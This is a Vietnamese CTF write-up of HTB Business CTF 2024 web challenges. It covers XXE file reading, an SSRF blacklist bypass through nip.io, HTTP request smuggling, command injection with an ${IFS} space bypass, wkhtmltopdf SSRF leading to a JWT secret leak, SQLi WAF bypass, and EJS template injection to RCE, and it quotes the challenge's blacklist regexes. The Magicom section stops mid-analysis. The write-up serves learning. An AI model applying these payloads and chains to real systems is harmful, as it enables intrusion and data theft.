HTB Business CTF 2024: The Vault Of Hope Write Up

Table of contents


Web

Jailbreak

credit: nartgnourt

jailbreak

Solution

Truy cập vào vào URL của challenge, mình thấy một trang web như sau:

jailbreak-1

Lần lượt xem qua từng tab trong menu, mình chú ý tới tab ROM, mình nghĩ có thể khai thác lỗ hổng XXE tại đây:

jailbreak-2

Ứng dụng cho phép mình nhập vào dữ liệu với định dạng XML để cập nhật firmware. Trước tiên, mình thử nhấn nút Submit thì thấy giá trị của Version được trả về trong response:

jailbreak-3

Mình thử thay giá trị của nó thành abc và cũng nhận về response chứa abc:

jailbreak-4

Như vậy, mình có thể thử tham chiếu tới external entity trong phần tử Version. Bởi vì mô tả của challenge có nói flag nằm ở /flag.txt nên mình định nghĩa một external entity &abc; với giá trị là nội dung của file /flag.txt bằng cách sử dụng payload sau:

<!DOCTYPE foo [<!ENTITY abc SYSTEM "/flag.txt"> ]>

Submit và mình đã thành công lấy được flag:

jailbreak-5

Flag

HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_fd953ca827f9938c299f77118208aa70}

HTB Proxy

credit: Ngọc Trần

Your team is tasked to penetrate the internal networks of a raider base in order to acquire explosives, scanning their ip ranges revealed only one alive host running their own custom implementation of an HTTP proxy, have you got enough wit to get the job done?

web_htb_proxy.zip

Challenge cung cấp cho chúng ta trang web tĩnh với nội dung cho biết một reverse proxy đang chạy

image

Hãy đi sâu vào phân tích source code ta có thể thấy, challenge cung cấp cho ta hai đoạn code xử lý với reverse proxy được xử lý bằng golang và backend được xử lý thông qua NodeJS

.
├── Dockerfile
├── build_docker.sh
├── challenge
│   ├── backend
│   │   ├── index.js
│   │   └── package.json
│   └── proxy
│       ├── go.mod
│       ├── includes
│       │   └── index.html
│       ├── main.go
│       └── test.py
├── config
│   └── supervisord.conf
├── entrypoint.sh
└── flag.txt

Command Injection in ip-wrapper

Ở đoạn code xử lý backend, ta thấy hai routes được xử lý đó là /getAddresses/flushInterface. Ở /flushInterface, có một đoạn xử lý đặc biệt ipWrapper.addr.flush(interface) giúp xóa tất cả các địa chỉ IP trong một interface cụ thể. Khi đi sâu vào lib, ta có thể thấy ở flush, đoạn code xử lý exec(`ip address flush dev ${interfaceName}`, (error, stdout, stderr)

image

Với interfaceName ở đây được truyền vào thông qua params interface nói trên.

Wait, we can trigger RCE here !!!

image

Thay vì truyền một interface bình thường, ta hoàn toàn có thể trigger RCE thông qua việc truyền command ; mv /fl* /app/proxy/includes/index.html. Tuy nhiên ta vẫn cần phải bypass qua xử lý middleware

const validateInput = (req, res, next) => {
    const { interface } = req.body;

    if (
        !interface || 
        typeof interface !== "string" || 
        interface.trim() === "" || 
        interface.includes(" ")
    ) {
        return res.status(400).json({message: "A valid interface is required"});
    }

    next();
}

Ở đây ta thấy nó loại bỏ các khoảng trống trong interface truyền vào thông qua trim(), để bypass ta có thể truyền vào ${IFS}. ($IFS là một biến đặc biệt trong shell nó chứa các ký tự khoảng trắng (khoảng trắng, tab, dấu xuống dòng)

image

Như vậy thông qua phương thức flush ta hoàn toàn có thể trigger RCE thông qua ;mv${IFS}/fl*${IFS}/app/proxy/includes/index.html

Tuy nhiên vấn đề xảy ra khi ta không thể truy cập vào endpoint flushInterface

image

Có vẻ đoạn code Golang xử lý reverse proxy đã chặn việc truy cập vào /flushInterface

Ta tiếp tục phân tích đoạn code xử lý reverse proxy

image

Đúng như mình dự đoán ở đây Golang đã chặn việc sử dụng endpoint flushInterface thông qua việc nó kiểm tra xem URL của yêu cầu có chứa chuỗi "flushinterface" (không phân biệt hoa thường) hay không và trả về Not Allowed.

SSRF to get content

Tiếp tục phân tích script xử lý golang mình tìm thấy một số đoạn code đáng chú ý:

if request.URL == string([]byte{47, 115, 101, 114, 118, 101, 114, 45, 115, 116, 97, 116, 117, 115}) {
        var serverInfo string = GetServerInfo()
        var responseText string = okResponse(serverInfo)
        frontendConn.Write([]byte(responseText))
        frontendConn.Close()
        return
    }

Tại endpoint /server-status, nó sẽ trả về GetServerInfo()

func GetServerInfo() string {
    hostname, err := os.Hostname()
    if err != nil {
        hostname = "unknown"
    }

    addrs, err := net.InterfaceAddrs()
    if err != nil {
        addrs = []net.Addr{}
    }

    var ips []string
    for _, addr := range addrs {
        if ipNet, ok := addr.(*net.IPNet); ok && !ipNet.IP.IsLoopback() {
            if ipNet.IP.To4() != nil {
                ips = append(ips, ipNet.IP.String())
            }
        }
    }

    ipList := strings.Join(ips, ", ")

    info := fmt.Sprintf("Hostname: %s, Operating System: %s, Architecture: %s, CPU Count: %d, Go Version: %s, IPs: %s",
        hostname, runtime.GOOS, runtime.GOARCH, runtime.NumCPU(), runtime.Version(), ipList)

    return info
}

Bao gồm các thông tin như Hostname, Operating System, Architecture, … và đặc biệt là IPs. Ta hãy chú ý đến method IsLoopBack, nó sẽ check xem địa chỉ IP có phải địa chỉ LoopBack hay không. Địa chỉ LoopBack là các địa chỉ như 127.0.0.1, ::1, … Như vậy mục đích ở đây là loại bỏ các ip localhost như 127.0.0.1 hay ::1.

Tiếp đến ta có thể thấy một số đoạn code xử lý blacklist

blacklistCheck

func blacklistCheck(input string) bool {
    var match bool = strings.Contains(input, string([]byte{108, 111, 99, 97, 108, 104, 111, 115, 116})) || // localhost
        strings.Contains(input, string([]byte{48, 46, 48, 46, 48, 46, 48})) || // 0.0.0.0
        strings.Contains(input, string([]byte{49, 50, 55, 46})) || // 127.
        strings.Contains(input, string([]byte{49, 55, 50, 46})) || // 172.
        strings.Contains(input, string([]byte{49, 57, 50, 46})) || // 192.
        strings.Contains(input, string([]byte{49, 48, 46})) // 10.

    return match
}

Kiểm tra bất kì chuỗi con nào truyền vào có chứa các giá trị nhạy cảm như 0.0.0.0, 127., …

checkMaliciousBody

func checkMaliciousBody(body string) (bool, error) {
    patterns := []string{
        "[`;&|]",
        `\$\([^)]+\)`,
        `(?i)(union)(.*)(select)`,
        `<script.*?>.*?</script>`,
        `\r\n|\r|\n`,
        `<!DOCTYPE.*?\[.*?<!ENTITY.*?>.*?>`,
    }

    for _, pattern := range patterns {
        match, _ := regexp.MatchString(pattern, body)
        if match {
            return true, nil
        }
    }
    return false, nil
}

Xem phần body có chứa các giá trị liên qua đến một số kiểu tấn công như CRLF, SQLi hay XSS, …

checkIfLocalhost

func checkIfLocalhost(address string) (bool, error) {
    IPs, err := net.LookupIP(address)
    if err != nil {
        return false, err
    }

    for _, ip := range IPs {
        if ip.IsLoopback() {
            return true, nil
        }
    }

    return false, nil
}

Kiểm tra xem chuỗi truyền vào có phải địa chỉ IP localhost hay không

var hostAddress string = hostArray[0]
var isIPv4Addr bool = isIPv4(hostAddress)
var isDomainAddr bool = isDomain(hostAddress)

if !isIPv4Addr && !isDomainAddr {
    var responseText string = badReqResponse("Invalid host")
    frontendConn.Write([]byte(responseText))
    frontendConn.Close()
    return
}

isLocal, err := checkIfLocalhost(hostAddress)
if err != nil {
    var responseText string = errorResponse("Invalid host")
    frontendConn.Write([]byte(responseText))
    frontendConn.Close()
    return
}

if isLocal {
    var responseText string = movedPermResponse("/")
    frontendConn.Write([]byte(responseText))
    frontendConn.Close()
    return
}

isMalicious, err := checkMaliciousBody(request.Body)
if err != nil || isMalicious {
    var responseText string = badReqResponse("Malicious request detected")
    prettyLog(1, "Malicious request detected")
    frontendConn.Write([]byte(responseText))
    frontendConn.Close()
    return
}

Kiểm tra xem địa chỉ truyền vào có phải là IPv4 hoặc một domain thông qua việc sử dụng 2 function: isIPv4isDomain

isIPv4

func isIPv4(input string) bool {
    if strings.Contains(input, string([]byte{48, 120})) {
        return false
    }
    var ipv4Pattern string = `^(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$`
    match, _ := regexp.MatchString(ipv4Pattern, input)
    return match && !blacklistCheck(input)
}

Tại isIPv4 đoạn code sử dụng một đoạn regex lớn để check xem địa chỉ truyền vào có phải địa chỉ IP hợp lệ, thậm chí nó còn được sử dụng để tránh bypass việc encode IP thông qua việc bypass cả các kí tự chứa 0x

isDomain

func isDomain(input string) bool {
    var domainPattern string = `^[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,})$`
    match, _ := regexp.MatchString(domainPattern, input)
    return match && !blacklistCheck(input)
}

Tại isDomain, golang kiểm tra xem dữ liệu đầu vào có phải là một tên miền hợp lệ và không nằm trong blacklist

Ta thấy dường như những config này ngăn chặn chúng ta khỏi việc tấn công SSRF qua việc truyền vào IP localhost nhằm bypass proxy để có thể get respone từ server nodejs. Dường như tất cả các kĩ thuật thông thường nhằm trigger SSRF đều không thành công vượt qua Blacklist này. Mất một thời gian tìm hiểu thì mình biết được ngoài việc trigger SSRF thông thường ta còn có thể sử dụng một kỹ thuật đó là DNS Binding thông qua việc sử dụng nip.io.

Nip.io là một dịch vụ DNS tự động chuyển đổi địa chỉ IP thành tên miền phụ dựa trên định dạng nhất định. Ví dụ, nếu địa chỉ IP của máy chủ là 192.0.2.1, ta có thể truy cập vào máy chủ đó bằng cách sử dụng tên miền phụ "192.0.2.1.nip.io".

image

Vậy liệu ta có thể bypass SSRF blacklist thông qua việc sử dụng nip.io? Câu trả lời là chưa?

image

Vì giá trị Host truyền vào vẫn chứa giá trị 127. nên là vẫn chưa thể bypass qua SSRF

Mình tiếp tục thử việc encode địa chỉ ip

image

Tuy nhiên vấn đề này vẫn chưa được giải quyết do đoạn xử lý tại checkIfLocalhost

image

Hey Wait !!! I forgot something, miss /server-status

image

Khi truy cập vào endpoint này nó sẽ cung cấp cho chúng ta địa chỉ ip của container

image

192.168.82.66 ở đây có vẻ chính là địa chị ip của phần backend xử lý được mở ở port 5000. Như đã phân tích từ đầu ta cần gọi các endpoint của Phần xử lý backend của NodeJS như /flushInterface để trigger RCE. Dó đó, ta có thể sử dụng ip này bypass qua blacklist check, thay vì sử dụng 192. ta hoàn toàn có thể sử dụng được 192- và điều này cũng được cho phép bởi nip.io dash notation: magic-127-0-0-1.nip.io

image

Như vậy ta đã bypass thành công được blacklist và trigger SSRF

Bypass proxy to get endpoint /flushInterface via HTTP Request Smuggling

Như đã phân tích từ đầu mục tiêu của chúng ta là get endpoint /flushInterface nhằm trigger RCE. Tuy nhiên do việc truy cập endpoint này đã bị proxy chặn từ trước đó

if strings.Contains(strings.ToLower(request.URL), string([]byte{102, 108, 117, 115, 104, 105, 110, 116, 101, 114, 102, 97, 99, 101})) {
    var responseText string = badReqResponse("Not Allowed")
    frontendConn.Write([]byte(responseText))
    frontendConn.Close()
    return
}

Ta vẫn chưa thể thành công thực thi được RCE mặc dù đã bypass được SSRF blacklisst check

image

Mục tiêu giờ đây chuyển hướng sang HTTP Request Smuggling. Tại sao lại là Request Smuggling thì cũng tại đoạn golang xử lý proxy mình tìm được một vài xử lý thú vi trong đoạn code đối với request

func requestParser(requestBytes []byte, remoteAddr string) (*HTTPRequest, error) {
    var requestLines []string = strings.Split(string(requestBytes), "\r\n")
    var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")

    if len(requestLines) < 1 {
        return nil, fmt.Errorf("invalid request format")
    }

    var requestLine []string = strings.Fields(requestLines[0])
    if len(requestLine) != 3 {
        return nil, fmt.Errorf("invalid request line")
    }

    var request *HTTPRequest = &HTTPRequest{
        RemoteAddr: remoteAddr,
        Method:     requestLine[0],
        URL:        requestLine[1],
        Protocol:   requestLine[2],
        Headers:    make(map[string]string),
    }

    for _, line := range requestLines[1:] {
        if line == "" {
            break
        }

        headerParts := strings.SplitN(line, ": ", 2)
        if len(headerParts) != 2 {
            continue
        }

        request.Headers[headerParts[0]] = headerParts[1]
    }

    if request.Method == HTTPMethods.POST {
        contentLength, contentLengthExists := request.Headers["Content-Length"]
        if !contentLengthExists {
            return nil, fmt.Errorf("unknown content length for body")
        }

        contentLengthInt, err := strconv.Atoi(contentLength)
        if err != nil {
            return nil, fmt.Errorf("invalid content length")
        }

        if len(bodySplit) <= 1 {
            return nil, fmt.Errorf("invalid content length")
        }
        var bodyContent string = bodySplit[1]
        if len(bodyContent) != contentLengthInt {
            return nil, fmt.Errorf("invalid content length")
        }

        request.Body = bodyContent[0:contentLengthInt]
        return request, nil
    }

    if len(bodySplit) > 1 && bodySplit[1] != "" {
        return nil, fmt.Errorf("can't include body for non-POST requests")
    }

    return request, nil
}

Tại đây, golang phân tích phần thân bằng cách chỉ cần tách request thành một mảng nơi có ký tự \r\n\r\n. Đối với một yêu cầu HTTP thông thường, điều này là hợp lý vì phần thân thường nằm sau \r\n\r\n. Tuy nhiên, ta có thể thấy một điều kì lạ là nếu ta tiếp sử dụng \r\n\r\n để gửi request thứ hai (smuggling) và bằng cách cố định việc truyền Content-Length: 1 và phần body với length tương đương, lúc này request parser sẽ coi phần thân lúc này chỉ là byte đầu với length là 1, điều này có nghĩa là khi checkMaliciousBody kiểm tra nó sẽ chỉ xem xét duy nhất byte này mà không tiến hành check requests thứ hai

image

Điều này xảy ra do việc sử dụng \r\n\r\n nhằm phân tách phần body và HTTP Header var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")

Ta có thể thấy mảng bodySplit được tạo ra thông qua việc tách chuỗi thành các chuỗi con dựa trên kí tự phân tách \r\n\r\n Tuy nhiên phần được coi là body chỉ là phần thứ hai var bodyContent string = bodySplit[1] và các phân tiếp sau không được xét đến. Khi đó golang chỉ coi a là body và check Content-Length có thỏa mãn hay không

var bodyContent string = bodySplit[1]
    if len(bodyContent) != contentLengthInt {
    return nil, fmt.Errorf("invalid content length")
}

Như mình đã phân tích ta có thể bypass qua điều này bằng cách thao túng Content-Length truyền vào. Lúc này checkMaliciousBody kiểm tra, nó chỉ coi a là body, lúc này là có thể bypass qua checkMaliciousBody bằng cách truyền phần body và Content-Length hợp lệ. Do chưa gặp kí tự kết thúc

if line == "" 
{
    break

Lúc này golang tiếp tục check requests thứ hai, tại đây ta có thể trigger RCE mà không bị loại bỏ bởi blacklist

image

image

Exploit Chain: DNS re-binding => HTTP smuggling on custom HTTP reverse-proxy => command injection on ip-wrapper library.

image

image

Flag

HTB{r3inv3nting_th3_wh331_c4n_cr34t3_h34dach35_bc1cd3704dc00e9a4e356dc60c4b8c7b}

Skills Learned

Sử dụng kỹ thuật DNS re-binding để bypass localhost checks.

Sử dung HTTP smuggling thông qua việc tận dụng lỗ hổng trong http parsers.

RCE bypass space

Blueprint Heist

credit: Trương Ngọc Lâm

image

Tiếp theo là một bài white-box với source nodejs+graphql+ejs template

Bài này chain khá nhiều vul cụ thể ta phải tận dụng 3 lỗi để RCE.

Reconnaissance + detect

Đặt bản thân với tư các người dùng thì mình sẽ test qua các chức năng chính của trang web.

Giao diện chỉ đơn giản như dưới đây:

image

Khi click vào 2 mục thì sẽ tải các file pdf từng phần liên quan của các mục về máy mình.

View nhanh qua các api được gọi:

image

image

Tiêu biểu ở đây nhất là api /download nhận param token và body là url đường dẫn trực tiếp-> nghi nghi ssrf ở đâu đây :/

Mình sẽ đi luôn vào source code để làm sáng tỏ những api trên.

image

Mục tiêu của bài này là đọc file flag nằm tại /root/flag -> có 2 cách để tiếp cận, 1 là đọc trực tiếp nó, 2 là run /readflag có chức năng đọc file trên.

//index.js
app.set("view engine", "ejs");
app.use('/static', express.static(path.join(__dirname, 'static')));

app.use(internalRoutes)
app.use(publicRoutes)

app.use((res, req, next) => {
  const err = generateError(404, "Not Found")
  return next(err);
});

app.use((err, req, res, next) => {
  renderError(err, req, res);
});

Có thể thấy web có 2 routes chính là publicRoutesinternalRoutes bên cạnh đó còn 1 middleware generateError để validate một vài lỗi trước khi renderError ở cuối.

Vì ứng dụng viết theo mô hình mvc nên mình sẽ phân thích theo tư duy này luôn

Đi thẳng vào 2 routes này:

publicRoutes

const { authMiddleware, generateGuestToken } = require("../controllers/authController")
const { convertPdf } = require("../controllers/downloadController")

router.get("/", (req, res) => {
    res.render("index");
})

router.get("/report/progress", (req, res) => {
    res.render("reports/progress-report")
})

router.get("/report/enviromental-impact", (req, res) => {
    res.render("reports/enviromental-report")
})

router.get("/getToken", (req, res, next) => {
    generateGuestToken(req, res, next)
});

router.post("/download", authMiddleware("guest"), (req, res, next) => {
    convertPdf(req, res, next)
})

Route này lại chứa 5 routes chính và ở đây có 2 routes quan trọng để khai thác:

  • /getToken endpoint để generate token cho guest và trả ra trực tiếp cho client. Sử dụng method generateGuestToken nằm trong authController với secret trong .env.
function generateGuestToken(req, res, next) {
    const payload = {
        role: 'user'
    };
    jwt.sign(payload, secret, (err, token) => {
        if (err) {
            next(generateError(500, "Failed to generate token."));;
        } else {
            res.send(token);
        }
    });
}
  • /dowload endpoint với method post có vẻ đây là api quan trọng mà ta tìm được ở trên thì tương tự nó dùng method convertPdf và cần phải có auth với guest được, nó sẽ lấy nội dung từ url của mình và lưu thành filepdf.
const { generateError } = require('./errorController');
const { isUrl } = require("../utils/security")
const crypto = require('crypto');
const wkhtmltopdf = require('wkhtmltopdf');

async function convertPdf(req, res, next) {
    try {
        const { url } = req.body;

        if (!isUrl(url)) {
            return next(generateError(400, "Invalid URL"));
        }

        const pdfPath = await generatePdf(url);
        res.sendFile(pdfPath, {root: "."});

    } catch (error) {
        return next(generateError(500, error.message));
    }
}

async function generatePdf(urls) {
    const pdfFilename = generateRandomFilename();
    const pdfPath = `uploads/${pdfFilename}`;

    try {
        await generatePdfFromUrl(urls, pdfPath);
        return pdfPath;
    } catch (error) {
        throw new Error(`Error generating PDF: ${error.stack}`);
    }
}

async function generatePdfFromUrl(url, pdfPath) {
    return new Promise((resolve, reject) => {
        wkhtmltopdf(url, { output: pdfPath }, (err) => {
            if (err) {
                console.log(err)
                reject(err);
            } else {
                resolve();
            }
        });
    });
}

function generateRandomFilename() {
    const randomString = crypto.randomBytes(16).toString('hex');
    return `${randomString}.pdf`;
}

module.exports = { convertPdf };

internalRoutes

const { authMiddleware } = require("../controllers/authController")

const schema = require("../schemas/schema");
const pool = require("../utils/database")
const { createHandler } = require("graphql-http/lib/use/express");


router.get("/admin", authMiddleware("admin"), (req, res) => {
    res.render("admin")
})

router.all("/graphql", authMiddleware("admin"), (req, res, next) => {
    createHandler({ schema, context: { pool } })(req, res, next); 
});

Routes này chứa 2 routes -> điểm mình sẽ tận dụng là /grapql nhưng routes này cần có auth admin và chấp nhận tất cả các method http.

const { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = require('graphql');
const UserType = require("../models/users")
const { detectSqli } = require("../utils/security")
const { generateError } = require('../controllers/errorController');

const RootQueryType = new GraphQLObjectType({
  name: 'Query',
  fields: {
    getAllData: {
      type: new GraphQLList(UserType),
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        try {
            data = await connection.query("SELECT * FROM users").then(rows => rows[0]);
        } catch (error) {
            generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    },
    getDataByName: {
      type: new GraphQLList(UserType),
      args: {
        name: { type: GraphQLString }
      },
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        console.log(args.name)
        if (detectSqli(args.name)) {
          return generateError(400, "Username must only contain letters, numbers, and spaces.")
        }
        try {
            data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
        } catch (error) {
            return generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    }
  }
});

const schema = new GraphQLSchema({
  query: RootQueryType
});

module.exports = schema;

Quan sát src trên ta có thể thấy có khả năng bị sqli ở trên khi truyền vào args->query nhưng có 1 waf:

function detectSqli (query) {
    const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
    return pattern.test(query)
}

Vấn đề ở đây là bypass waf để SQLi.

RCE

Cùng để ý thì ở index.js có một routes xử lí ngoại lệ(error). Middleware sẽ check error và hiển thị với template ejs:

// index.js
function generateError(status, message) {
    const err = new Error(message);
    err.status = status;
    return err;
};

const renderError = (err, req, res) => {
    res.status(err.status);
    const templateDir = __dirname + '/../views/errors';
    const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
    let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);

    if (!fs.existsSync(templatePath)) {
        templatePath = path.join(templateDir, `error.ejs`);
    }
    console.log(templatePath)
    res.render(templatePath, { error: err.message }, (renderErr, html) => {
        res.send(html);
    });
};

module.exports = { generateError, renderError }

Chú ý const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error" check status để chọn tên trang hiển thị lỗi.

image

image

image

image

Do đó ta sẽ ghi vào 1 file ejs để đọc flag hiển thị khi error vì page sẽ render theo tên status trước.

Exploit wkhtmltopdf SSRF

"wkhtmltopdf": "^0.4.0"

Searching thì khác nhanh tìm được vul và poc:

image

Khá giống với DNS binding thì mình sẽ redirect đến file:// tùy chỉnh trên hệ thống để wkhtmltopdf convert file đó sang dạng pdf và truy xuất nội dung.

Tạo server attack + public host with ngrok:

image

Thành công lấy được nội dung /etc/passwd

image

image

Leak secret_key jwt -> authenticate to admin user

Để truy cập được /graphql endpoint thì cần role của mình là admin cho nên ta phải control được jwt.

Chia sẻ 1 chút là ban đầu mình đọc:

image

Thấy secret nên mình nghĩ có thể leak được với weak secret nhưng mà không được mà quên mất là leak được .env với ssrf ở trên :> ( phản xạ quá chậm:(( )

Ok thì tương tự mình leak được /app/.env

image

secret=Str0ng_K3y_N0_l3ak_pl3ase?

Giả mạo token admin với secret_key ở trên:

image

Cũng có thể dùng 1 số tool để tạo

image

Dùng token này để access đến endpoint /graphql nhưng lưu ý là server check localhost

function checkInternal(req) {
    const address = req.socket.remoteAddress.replace(/^.*:/, '')
    return address === "127.0.0.1"
}

Do đó ta sẽ phải access thông qua bug ssrf ở trên.

image

Exploit Sqli bypass waf

Chức năng dành cho internal user để truy xuất ra cơ sở dữ liệu với param query.

Regex check ^.[!#$%^&()-_=+{}[]\|;:'",.<>/?].

Nhìn đến này thì ta nhớ đến bài ssti với ruby(ERB) trong HTB cũng có loại này và ta sẽ bypass với \n vì tất cả những kí tự ở dòng mới sẽ không bị test.

image

image

image

image

Thử dùng hàm loadfile trong mysql thì thành công leak được các file hệ thống nhưng có vẻ không có quyền root với user db.

image

image

image

Hook ở đây với bug tiếp theo là mình sẽ lợi dùng hàm writefile để ghi vào template ejs để exploit SSTI.

SSTI in ejs template via sqli

Nếu chỉ có bug SQLi thì khá khó để RCE được vì chắc chắn sẽ có hạn chế về quyền trên hệ thống nên mình sẽ khai thác thông qua chức năng hiển thị errorPage của trang web.

image

image

Sau vài lần tạo thì mình đã tạo mới file 404.ejs và ghi nội dung từ hook sqli ở trên

image

Payload: <%=7*7%>

image

image

image

Truy cập vào một endpoint không tồn tại để kích hoạt middleware hiển thị 404 Not Found và lúc này sẽ render tên file 404.ejs mà mình mới tạo và ghi vào.

image

image

image

image

Ngoài ra, còn 1 mẹo khá hay là bạn có thể nối chuỗi nó kiểu như này select 'l','a','m' into outfile thì ta nhận được chuỗi liền kề abc.

Exploit chain

Nói khá dài ở trên nên mình xin phép tóm lược lại flow của bài này.

  1. Lợi dụng bug ssrf để đọc file /app/.env để lấy secret -> tạo token với role admin

  2. Khai thác sqli ở /graphql để ghi vào một file 404.ejs notFound nhằm lợi dụng việc render template error của server.

  3. Ghi vào file mới trong /app/views/errors/404.ejs với syntax ejs và RCE thành công.

image

image

secret=Str0ng_K3y_N0_l3ak_pl3ase?

image

image

image

image

image

Flag

HTB{ch41ning_m4st3rs_b4y0nd_1m4g1nary_fb9b1487d1761dfa224ee888e57fcefd}

image

Chắc sẽ có thắc mắc sao không được file/root/flag.txtluôn từ ssrf nhưng mà mình đã test thử không được có vẻ như là userdb không có quyền truy cập vào/rootthay vào đó thì user web lại có quyền này:

image

Magicom

credit: kev1n

Trong giải HTB Business này, mình tham gia vào làm challenge Omniwatch và Magicom cùng với các teammates trong câu lạc bộ. Chúng mình đã solve được challenge Omniwatch, còn Magicom thì gần như đã làm được, chỉ thiếu một bước nữa nhưng chúng mình đã đi sai hướng và không tìm ra cách giải kịp giờ nên không kịp solve.

Mình muốn viết là để chia sẻ lại quá trình giải challenge của mình và các teammates, và cũng như là hướng giải đúng đắn để solve challenge. Mình đã tham khảo official solution và nhận ra anh em đã đi đúng gần hết các bước, chỉ có bước đầu là chưa ra, nên bước đầu của mình sẽ đi theo con đường của official write up. Mình sẽ tiến hành vào khai thác tại local vì mình viết write up này hơi muộn nên không deploy trên server kịp=))

Preface

Challenge xuất hiện dưới dạng một website có chức năng xem sản phẩm và thêm sản phẩm, người dùng có thể thêm sản phẩm và một số các thông tin của sản phẩm, trong đó là phần ảnh minh họa:

image

Đã được add product tùy theo ý mình mà còn unauthen, mình ban đầu cũng nghĩ upload php để RCE:

image

Phân Tích Source Code

Config

Ngay sau khi mình mở source của challenge mình đã thấy đây chắc chắn không phải là một challenge upload file PHP thông thường. Vì challenge cung cấp cả phpinfo tại /info, và file php.ini, mình nhìn sơ qua qua thì cũng chưa có gì bất thường, nhưng chắc chắn là mình cần phải dùng đến chúng.

$router->get('/info', function(){
    return phpinfo();
});

image

Source Code

Challenge đã quy định những route có thể truy cập tại website trong index.php:

$router = new Router;

$router->get('/', 'HomeController@index');
$router->get('/home', 'HomeController@index');
$router->get('/product', 'ProductViewController@index');
$router->get('/addProduct', 'AddProductController@index');
$router->post('/addProduct', 'AddProductController@add');
$router->get('/info', function(){
    return phpinfo();
});

Mình ngay lập tức đi tìm kiếm những đoạn code xử lý upload file:

  1. models/ImageModel.php
class ImageModel {
    public function __construct($file) {
        $this->file = $file;
    }

    public function isValid() {

        $allowed_extensions = ["jpeg", "jpg", "png"];
        $file_extension = pathinfo($this->file["name"], PATHINFO_EXTENSION);
        print_r($this->file);
        if (!in_array($file_extension, $allowed_extensions)) {
            return false;
        }

        $allowed_mime_types = ["image/jpeg", "image/jpg", "image/png"];
        $mime_type = mime_content_type($this->file['tmp_name']);
        if (!in_array($mime_type, $allowed_mime_types)) {
            return false;
        }

        if (!getimagesize($this->file['tmp_name'])) {
            return false;
        }

        return true;
    }
}
  • Class này được gọi trong request xử lý file nên mình muốn nói về nó trước. Quá trình kiểm duyệt file được gói gọn trong hàm isValid()

  • File extension được lấy bằng PATHINFO_EXTENSION và được whitelist => loại bỏ khả năng bypass upload file php bypass bằng extension file

  • Sử dụng print_r để in ra mảng thông tin của file đó theo dạng [key] => value

  • Sau khi check extension class tiếp tục check mime types bằng cách whitelist, và cuối cùng là check size bằng getimagesize. Mình gần như không thấy cơ hội nào để upload file PHP mà RCE được, nhưng đoạn print_r thông tin khá thú vị, vì nó chứa giá trị tmp_name

2. controllers/AddProductController.php

public function add() 
{
    if (empty($_FILES['image']) || empty($_POST['title']) || empty($_POST['description']))
    {
        header('Location: /addProduct?error=1&message=Fields can\'t be empty.');
        exit;
    }

    $title = $_POST["title"];
    $description = $_POST["description"];
    $image = new ImageModel($_FILES["image"]);

    if($image->isValid()) {

        $mimeType = mime_content_type($_FILES["image"]['tmp_name']);
        $extention = explode('/', $mimeType)[1];
        $randomName = bin2hex(random_bytes(8));
        $secureFilename = "$randomName.$extention";

        if(move_uploaded_file($_FILES["image"]["tmp_name"], "uploads/$secureFilename")) {
            $this->product->insert($title, $description, "uploads/$secureFilename");

            header('Location: /addProduct?error=0&message=Product added successfully.');
            exit;
        }
    } else {
        header('Location: /addProduct?error=1&message=Not a valid image.');
        exit;
    }
}
  • Nếu có dấu hiệu upload file, webserver đưa nó vào class ImageModel để sử dụng hàm isValid để check, nếu như return true thì lấy extension file bằng cách bổ đôi cái mime type mà lấy cái thứ 2 -> đoạn này khá lỏng lẻo vì giá trị đó mình control được nhưng đằng trước là whitelist nên đành chịu

  • Gắn file extension vừa lấy được với 16 ký tự random được gen bằng bin2hex(random_bytes(8)), move vào thư mục uploads và trả về thông báo và lỗi nếu có.

Riêng đoạn code check valid tại class ImageModel đã làm cho mình không tin tưởng vào việc có thể bypass upload file PHP nữa, mặc dù đoạn lấy extension ở controller khá ngon nhưng hàm valid lại quá chặt nên mình đi đọc những file khác vì còn rất nhiều thứ chưa được sử dụng.

Đáng chú ý nhất chắc chắn là file cli/cli.php, nó vốn được dùng để import file sql chứa các sản phẩm mặc định vào database bằng command line, sau đó file sql sẽ bị xóa:

php /www/cli/cli.php -c /www/cli/conf.xml -m import -f /www/products.sql
rm /www/products.sql

Vì pha import này quá cồng kềnh, chả có lí do gì phải làm hẳn 1 file php chỉ để import 1 file sql vào, nên mình chắc chắn sẽ khai thác từ file này ra:

Ngay từ đầu file đã đánh phủ đầu bằng việc check xem file có được thực thi thông qua dòng lệnh hay không:

if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) {
    die("This script must be run from the command line!");
}

argvargc là 2 biến siêu toàn cục, trong đó argv sẽ là một mảng lưu giá trị của các tham số truyền được truyền vào file php dưới dạng mảng [số thứ tự] => value. Còn argc sẽ chứa số các tham số được truyền vào.

Ví dụ như với câu lệnh chạy file cli.php như ở trên, thì giá trị của argv sẽ có dạng như sau:

Array
(
    [0] => -c
    [1] => /www/cli/conf.xml
    [2] => -m
    [3] => import
    [4] => -f
    [5] => /www/products.sql
)

Còn argc sẽ mang giá trị là 6, ứng với số tham số truyền vào File có thể gồm 3 tham số truyền vào:

-c (--config): Truyền vào đường dẫn tuyệt đối đến file config ở định dạng xml
-m (--method): Tên phương thức hành động tương ứng, gồm có import, backup và healthcheck
-f (--filename): Sử dụng khi dùng method import, truyền vào tên file để import dữ liệu vào database

